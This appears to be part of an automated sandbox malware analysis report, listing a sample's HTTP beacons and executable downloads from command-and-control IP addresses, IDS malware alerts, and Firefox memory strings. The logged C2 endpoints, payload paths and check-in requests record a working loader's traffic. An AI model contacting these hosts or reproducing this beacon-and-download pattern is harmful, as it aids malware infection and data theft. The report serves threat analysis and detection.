Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 37 36 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002766001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBAAAKFCAFIIDHIDGHIEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 41 41 41 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 33 42 36 31 37 32 45 44 33 41 39 32 31 32 37 33 37 30 37 38 35 0d 0a 2d 2d 2d 2d 2d 2d 46 42 41 41 41 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 46 42 41 41 41 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 2d 2d 0d 0a Data Ascii: ------FBAAAKFCAFIIDHIDGHIEContent-Disposition: form-data; name="hwid"13B6172ED3A92127370785------FBAAAKFCAFIIDHIDGHIEContent-Disposition: form-data; name="build"tale------FBAAAKFCAFIIDHIDGHIE--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 37 36 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002767001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 33 32 41 37 34 42 36 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB32A74B65D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49744 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:63780 -> 41.216.183.61:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:63827 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:63886 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:63946 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:63964 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:63986 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:63986 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 8_2_003FBE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

8_2_003FBE30

Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /innoinstaller.exe HTTP/1.1Host: 41.216.183.61
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive

Source: firefox.exe, 0000001F.00000002.2983947993.000001B339461000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2983947993.000001B339461000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WHERE place_id = (SELECT id FROM moz_places WHERE url_hash = hash(:urlhttps://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=$locale&region=$region&count=30You must provide a target ID as the second parameter of AlsoToOneContent. If you want to send to all content processes, use BroadcastToContenthttps://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/UPDATE moz_bookmarks SET position = position + 1 equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WHERE place_id = (SELECT id FROM moz_places WHERE url_hash = hash(:urlhttps://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=$locale&region=$region&count=30You must provide a target ID as the second parameter of AlsoToOneContent. If you want to send to all content processes, use BroadcastToContenthttps://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/UPDATE moz_bookmarks SET position = position + 1 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| 'www.' \|\| :strippedURL AND :prefix \|\| 'www.' \|\| :strippedURL \|\| X'FFFF'SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdgemoz-extension://a581a2f1-688c-434b-8db8-16166b1993d9/lib/messaging_helper.js[{incognito:null, tabId:null, types:["sub_frame"], urls:["://trends.google.com/trends/embed"], windowId:null}, ["blocking", "responseHeaders"]]moz-extension://a581a2f1-688c-434b-8db8-16166b1993d9/data/ua_overrides.jsThe number of recent visits to sample when calculating the ranking of a page. Examining all the visits would be expensive, so we only sample recent visits.True if the "Variant 2" of the Migration Wizard browser / profile selection UI should be used. This is only meaningful in the new Migration Wizard.It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == true(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == true(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == truehttps://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == trueFirefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.sect
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| 'www.' \|\| :strippedURL AND :prefix \|\| 'www.' \|\| :strippedURL \|\| X'FFFF'SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdgemoz-extension://a581a2f1-688c-434b-8db8-16166b1993d9/lib/messaging_helper.js[{incognito:null, tabId:null, types:["sub_frame"], urls:["://trends.google.com/trends/embed"], windowId:null}, ["blocking", "responseHeaders"]]moz-extension://a581a2f1-688c-434b-8db8-16166b1993d9/data/ua_overrides.jsThe number of recent visits to sample when calculating the ranking of a page. Examining all the visits would be expensive, so we only sample recent visits.True if the "Variant 2" of the Migration Wizard browser / profile selection UI should be used. This is only meaningful in the new Migration Wizard.It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == true(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == true(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == truehttps://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == trueFirefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.sect
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| 'www.' \|\| :strippedURL AND :prefix \|\| 'www.' \|\| :strippedURL \|\| X'FFFF'SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdgemoz-extension://a581a2f1-688c-434b-8db8-16166b1993d9/lib/messaging_helper.js[{incognito:null, tabId:null, types:["sub_frame"], urls:["://trends.google.com/trends/embed"], windowId:null}, ["blocking", "responseHeaders"]]moz-extension://a581a2f1-688c-434b-8db8-16166b1993d9/data/ua_overrides.jsThe number of recent visits to sample when calculating the ranking of a page. Examining all the visits would be expensive, so we only sample recent visits.True if the "Variant 2" of the Migration Wizard browser / profile selection UI should be used. This is only meaningful in the new Migration Wizard.It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == true(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == true(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == truehttps://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == trueFirefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.sect
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php://.adsafeprotected.com//imp/://.adsafeprotected.com/jload?*://pubads.g.doubleclick.net/gampad/ad-blk*://.adsafeprotected.com/services/pub*://pubads.g.doubleclick.net/gampad/ad*://trends.google.com/trends/embedresource://gre/modules/Preferences.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.3155816904.000001B34456F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3018495094.000001B33C003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.3155816904.000001B34456F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3018495094.000001B33C003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.3064473262.000001B33E0E8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3072025003.000001B33E307000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3072025003.000001B33E32D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Downloader:onStopRequest - notifying observers of error. topic: update-error, status: download-attempts-exceeded, downloadAttempts: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/' equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.3070915042.000001B33E20A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
